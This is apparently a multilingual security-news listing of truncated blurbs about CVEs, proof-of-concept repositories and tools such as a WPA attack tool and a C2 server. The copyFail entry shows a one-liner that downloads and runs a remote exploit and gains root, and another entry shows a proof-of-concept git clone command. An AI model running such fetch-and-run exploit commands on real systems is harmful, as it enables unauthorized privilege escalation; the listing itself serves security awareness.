CVE-2022-2588

CVE-2022-2588 La correzione Il bug è stato corretto in Linux v5.19 da questo commit. Il bug Il bug è stato introdotto in Linux v3.17 da questo commit nel 2014. Richiede User Namespaces per essere attivato. Questo bug è molto simile a CVE-2021-3715, causato da un'operazione impropria sulla lista...

pgadmin4-9.10-CVE-2025-13780

pgadmin4 9.11 Execução de Comandos por Filtro de Meta-Commands Resumo O filtro de meta-commands PLAIN restore introduzido no pgAdmin como parte da correção para o Issue 9320 não detecta meta-commands quando um arquivo SQL começa com um Byte Order Mark UTF-8 EF BB BF ou outras sequências especiais...

CVE-2025-48384

PoC für CVE-2025-48384 Siehe CVE-2025-48384 Ausführen: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Beispielausgabe: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloni...

kemon

Kemon An Open Source Pre and Post Callback-based Framework for macOS Kernel Monitoring. Breaking News - 08/28/2019 macOS Catalina 10.15 Beta 7 Release Notes https://developer.apple.com/documentation/macosreleasenotes/macoscatalina1015beta7releasenotes Endpoint Security The kauth API has been...

exist

EXIST EXternal Information aggregation System against cyber Threat ⚠️ This repository is unmaintained / archived. Security issues will not be fixed. EXIST is a web application for aggregating and analyzing CTI cyber threat intelligence. EXIST is written by the following software. Python 3 Django...

hcxdumptool

hcxdumptool Strumento per catturare pacchetti da dispositivi WLAN e per scoprire potenziali punti deboli all'interno di reti WiFi proprie eseguendo attacchi di livello 2 contro il protocollo WPA. Progettato per funzionare per lo più headless su sistemi piccoli come un Raspberry Pi Zero. hcxnmealo...

abaddon

Abaddon Le operazioni di red team coinvolgono competenze eterogenee, durano diversi mesi e sono politicamente sensibili; richiedono molto monitoraggio, consolidamento e cautela. Il software di gestione delle operazioni di red team di Wavestone, Abaddon, è stato progettato per rendere le operazion...

laforge

Laforge Security Competition Infrastructure Automation Framework Laforge enables rapid development of infrastructure for the purpose of information security competitions. Using a simple and intuitive configuration language, Laforge manages a dependency graph and state management and allows for...

brawl-public-game-001

BRAWL One of the challenging problems for cyber security researchers developing detection and response capabilities is finding a realistic environment in which to test their hypothesis and capabilities. The cheapest method is to test capabilities on a small lab network. But this environment is...

Octopus

Cos'è Octopus ? Octopus è un server C2 open source pre-operativo basato su python che può controllare un agente Octopus powershell tramite HTTP/S. Lo scopo principale della creazione di Octopus è l'utilizzo prima di qualsiasi operazione red team, dove invece di iniziare l'engagement con il tuo...

raven

Raven - Mappa Avanzata delle Minacce Cyber Semplificata, personalizzabile e reattiva. Utilizza D3.js con TOPO JSON, ha 247 paesi, 100.000 città, e può essere utilizzata in ambiente isolato senza ricerche esterne!. Struttura Offline - Demo Firefox, Chrome o Safari Live - Regressione 500 attacchi i...

DEBIAN-CVE-2026-81525

The MongoDB client library for PHP does not sufficiently sanitize special elements in application-supplied namespace identifiers before using them to construct the target namespace for database operations. An application that incorporates untrusted text into these identifiers may have operations...

CVE-2023-21608

CVE-2023-21608 Discord Server Dieser Fehler war ein Use after Free, der während der resetForm-Operation beim Verwalten von Objekt-Speicherreferenzen verursacht wurde. Blog Adobe Acrobat Reader - resetForm - CAgg UaF - RCE Exploit - CVE-2023-21608 Advisory CVE-2023-21608 Demo...

EUVD-2026-67209

The MongoDB client library for PHP does not sufficiently sanitize special elements in application-supplied namespace identifiers before using them to construct the target namespace for database operations. An application that incorporates untrusted text into these identifiers may have operations...

EUVD-2026-67208

A weakness in the MongoDB C Driver allows special elements in caller-supplied database and collection name components to pass without sanitization when the driver composes the target namespace for an operation. An application that incorporates untrusted input into these name components can have...

dfirtriage

dfirtriage Digital forensic acquisition tool for Windows-based incident response. How to Use To run, drop dfirtriage.exe on the target or connected USB drive and execute with admin rights, -h for help. DFIRTriage v6.0 User's Manual Description This document outlines the functionality and proper u...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash einige Verwendung: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

some-tweak-to-hide-jwt-payload-values

some-tweak-to-hide-jwt-payload-values a handful of tweaks and ideas to safeguard the JWT payload, making it futile to attempt decoding by constantly altering its value, ensuring the decoded output remains unintelligible while imposing minimal performance overhead. What is a JWT Token? A JSON Web...

cq

cq Code Query, ein universelles Tool zum Scannen von Code auf Sicherheitslücken. CQ scannt Code auf Sicherheitslücken und andere Dinge, die für sicherheitsorientierte Code-Reviewer von Interesse sind. Es gibt Textdateien mit Referenzen auf gefundene Probleme in ein Ausgabeverzeichnis aus. Diese...

Navigate CMS 2.9.4 - Server-Side Request Forgery

Navigate CMS 2.9.4 is susceptible to server-side request forgery via feedparser class. This can allow a remote attacker to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter, thus enabling possible theft of sensitive information, data...